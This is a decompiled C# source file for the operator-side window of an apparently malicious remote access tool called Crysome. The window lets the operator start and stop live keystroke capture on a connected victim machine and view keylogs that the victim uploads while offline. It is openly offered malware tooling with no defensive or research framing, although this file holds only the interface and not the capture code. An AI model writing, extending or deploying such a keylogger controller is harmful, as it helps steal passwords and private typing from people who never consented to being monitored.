using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Controls.Primitives;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Threading;
using Crysome.Server.Model;
using Crysome.Server.ViewModel;
using Wpf.Ui.Controls;

namespace Crysome.Server.View;

public class KeyloggerWindow : FluentWindow, IComponentConnector
{
	private readonly ClientInfo _client;

	private readonly ManageClientsViewModel _vm;

	private bool _running;

	internal TextBlock TitleText;

	internal Button StartBtn;

	internal Button StopBtn;

	internal Button ClearBtn;

	internal Button CloseBtn;

	internal TextBox LogBox;

	internal Button RequestOfflineBtn;

	internal TextBox OfflineLogBox;

	internal TextBlock StatusText;

	private bool _contentLoaded;

	public KeyloggerWindow(ClientInfo client, ManageClientsViewModel vm)
	{
		InitializeComponent();
		_client = client;
		_vm = vm;
		((Window)this).Title = "Keylogger — " + (client?.Address ?? "?");
		TitleText.Text = ((Window)this).Title;
		((Window)this).Closed += OnWindowClosed;
		if (!string.IsNullOrEmpty(client?.OfflineKeylogData))
		{
			OfflineLogBox.Text = client.OfflineKeylogData;
		}
	}

	private void OnWindowClosed(object sender, EventArgs e)
	{
		if (_running)
		{
			_vm.StopKeylogger(_client);
		}
		_vm.UnregisterOfflineKeylogCallback(_client?.Owner);
	}

	private void StartBtn_Click(object sender, RoutedEventArgs e)
	{
		_running = true;
		((UIElement)(object)StartBtn).IsEnabled = false;
		((UIElement)(object)StopBtn).IsEnabled = true;
		StatusText.Text = "Capturing keystrokes...";
		LogBox.Clear();
		_vm.StartKeylogger(_client, AppendLog);
		_vm.RegisterOfflineKeylogCallback(_client?.Owner, AppendOfflineLog);
	}

	private void StopBtn_Click(object sender, RoutedEventArgs e)
	{
		_running = false;
		((UIElement)(object)StartBtn).IsEnabled = true;
		((UIElement)(object)StopBtn).IsEnabled = false;
		StatusText.Text = "Stopped.";
		_vm.StopKeylogger(_client);
	}

	private void ClearBtn_Click(object sender, RoutedEventArgs e)
	{
		LogBox.Clear();
		OfflineLogBox.Clear();
	}

	private void OfflineTab_Selected(object sender, RoutedEventArgs e)
	{
		if (string.IsNullOrEmpty(OfflineLogBox.Text) && !string.IsNullOrEmpty(_client?.OfflineKeylogData))
		{
			OfflineLogBox.Text = _client.OfflineKeylogData;
		}
		_vm.RegisterOfflineKeylogCallback(_client?.Owner, AppendOfflineLog);
	}

	private void TabControl_SelectionChanged(object sender, SelectionChangedEventArgs e)
	{
		if (sender is TabControl { SelectedIndex: 1 })
		{
			OfflineTab_Selected(sender, null);
		}
	}

	private void RequestOfflineBtn_Click(object sender, RoutedEventArgs e)
	{
		OfflineLogBox.AppendText("\n[Offline data request triggered — awaiting upload from client...]\n");
		OfflineLogBox.ScrollToEnd();
		StatusText.Text = "Offline data will arrive automatically on next reconnect.";
	}

	private void AppendLog(string data)
	{
		((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			LogBox.AppendText(data);
			LogBox.ScrollToEnd();
		}, Array.Empty<object>());
	}

	private void AppendOfflineLog(string data, bool isOffline)
	{
		((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			OfflineLogBox.AppendText(data);
			OfflineLogBox.ScrollToEnd();
		}, Array.Empty<object>());
	}

	private void CloseBtn_Click(object sender, RoutedEventArgs e)
	{
		((Window)this).Close();
	}

	private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
	{
		try
		{
			((Window)this).DragMove();
		}
		catch
		{
		}
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	public void InitializeComponent()
	{
		if (!_contentLoaded)
		{
			_contentLoaded = true;
			Uri resourceLocator = new Uri("/Crysome.Server;component/view/keyloggerwindow.xaml", UriKind.Relative);
			Application.LoadComponent(this, resourceLocator);
		}
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	[EditorBrowsable(EditorBrowsableState.Never)]
	void IComponentConnector.Connect(int connectionId, object target)
	{
		//IL_0060: Unknown result type (might be due to invalid IL or missing references)
		//IL_006a: Expected O, but got Unknown
		//IL_0084: Unknown result type (might be due to invalid IL or missing references)
		//IL_008e: Expected O, but got Unknown
		//IL_00a8: Unknown result type (might be due to invalid IL or missing references)
		//IL_00b2: Expected O, but got Unknown
		//IL_00cc: Unknown result type (might be due to invalid IL or missing references)
		//IL_00d6: Expected O, but got Unknown
		//IL_0115: Unknown result type (might be due to invalid IL or missing references)
		//IL_011f: Expected O, but got Unknown
		switch (connectionId)
		{
		case 1:
			((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
			break;
		case 2:
			TitleText = (TextBlock)target;
			break;
		case 3:
			StartBtn = (Button)target;
			((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
			break;
		case 4:
			StopBtn = (Button)target;
			((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
			break;
		case 5:
			ClearBtn = (Button)target;
			((ButtonBase)(object)ClearBtn).Click += ClearBtn_Click;
			break;
		case 6:
			CloseBtn = (Button)target;
			((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
			break;
		case 7:
			((TabControl)target).SelectionChanged += TabControl_SelectionChanged;
			break;
		case 8:
			LogBox = (TextBox)target;
			break;
		case 9:
			RequestOfflineBtn = (Button)target;
			((ButtonBase)(object)RequestOfflineBtn).Click += RequestOfflineBtn_Click;
			break;
		case 10:
			OfflineLogBox = (TextBox)target;
			break;
		case 11:
			StatusText = (TextBlock)target;
			break;
		default:
			_contentLoaded = true;
			break;
		}
	}
}
